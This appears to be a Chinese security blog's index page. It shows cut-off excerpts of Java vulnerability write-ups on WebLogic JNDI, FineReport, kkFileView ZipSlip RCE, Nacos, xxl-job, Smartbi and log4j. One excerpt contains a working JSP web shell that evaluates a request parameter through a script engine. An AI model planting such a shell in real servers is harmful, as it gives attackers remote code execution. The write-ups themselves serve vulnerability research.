weblogic JNDI分析
环境搭建官网下载 Oracle WebLogic Server 12.2.1.4https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html下载 oracle jdk,这里使用 8u331执行 install 下的 bat 安装即可安装完后需要执行 C:\Oracle\Middleware\Oracle_Home\oracle_common\common\bin\config.cmd来配置域weblogic 启动脚本位于 C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd我们添加调试参数,由于这里是 jdk 高版本,需要修改一下 trustURLCodebase 便于测试 jndiset JAVA_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dcom ...
solon 框架请求处理流程分析
pom 依赖如下,使用的 solon 版本为 2.8.4
123456<parent> <groupId>org.noear</groupId> <artifactId>solon-parent</artifactId> <version>2.8.4</version> <relativePath /> </parent>
请求的处理流程图可以参考官方文档![[_resources/solon 框架请求处理流程分析/15abb79c9f150557722aa3a43977549f_MD5.jpeg]]这里以一个 postController 举例来分析处理请求的过程
1234567891011@Mapping("/api") @Post public String api(Map map, Context ctx) throws Exception { JSONObject ...
FineReport-view分析
漏洞分析漏洞位于 com.fr.web.controller.ReportRequestCompatibleService#preview
123456789101112@RequestMapping({"/**"}) @ResponseBody @TemplateAuth( product = TemplateProductType.FINE_REPORT ) @LoginStatusChecker( tokenResource = TokenResource.COOKIE ) @ResourceCache public void preview(HttpServletRequest var1, HttpServletResponse var2) throws Exception { var2.sendRedirect(TemplateUtils.render("${fineServletURL}/view/report?" + var1.getQue ...
JDK 6-14 加载字节码
From CodeExec to JSjsp 2 jsshell.jsp
1234567<% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6"));%>
甚至不用绑定request/response对象也可以
123<% out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));%>
类型选 ...
记一次tabby利用链挖掘
环境依赖如下,原生反序列化入口,jdk版本17,不出网
1234567891011121314151617181920212223242526<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependenc ...
kkFileview ZipSlip RCE
调试环境环境使用vulhub,源码版本v4.3.0,参考https://github.com/kekingcn/kkFileView/archive/refs/tags/v4.3.0.tar.gz
漏洞分析cn.keking.service.CompressFileReader#unRar中自己实现了解压的逻辑
1OutputStream out = new FileOutputStream( extractPath+ folderName + "_" + File.separator + str[0], true);
其中写文件的路径使用了拼接的办法导致了路径穿越,导致了任意文件写
kkFileView在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容
1234567891011121314import zipfileif __name__ == "__main__": try: binary1 = b'vulhub' ...
Nacos不出网利用
环境使用vulhub,配合远程调试,源码使用1.4.0
历史漏洞一些nacos的历史洞
漏洞编号
漏洞类型
影响范围
CVE-2021-29441
User-Agent权限绕过
<1.4.2
CVE-2021-29441的绕过
url权限绕过
<1.4.2
QVD-2023-6271
accessToken认证绕过
<=2.2.0
CVE-2021-29441的绕过
serverIdentity硬编码绕过
<=2.2.0
无
Hessian反序列化漏洞
2.0.0 <= Nacos < 2.2.3
/derby接口未授权来源于CVE-2021-29442,位于com.alibaba.nacos.config.server.controller.ConfigOpsController#derbyOps
Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured注解,可以未授权访问,并且可以用这个功能执行sql语句。
1234567891011121314151617181 ...
记一次xxl-job executor低版本不出网利用
碰到一个xxl-job,版本是1.9.2,仅仅只暴露了9999端口,并且不出网
executor未授权我们可以从9999端口入手,com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler是一个自己实现的jetty服务,明显可以打hessian反序列化
1234567891011121314151617181920212223242526272829303132333435363738394041@Overridepublic void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { // invoke RpcResponse rpcResponse = doInvoke(request); // serialize response byte[] r ...
Smartbi 审计笔记
Smartbi登陆绕过补丁分析下载补丁 利用脚本 解码获得本次 补丁信息
12345678910111213141516171819202122232425262728293031{ "url": "/smartbix/api/monitor/setServiceAddress", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": "/smartbix/api/monitor/setServiceAddress/", "rules": [{ "type": "RejectSmartbixSetAddress" }] }, { "url": ...
Geekcon jdk高版本利用方式探索
old-loggroovy写的一个web服务,用的框架是Grails,依赖中存在log4j 2.14.1,并且有可控的log参数,那就变成了一个jndi的利用
jdk 1.8jdk 11jdk 17jdk 21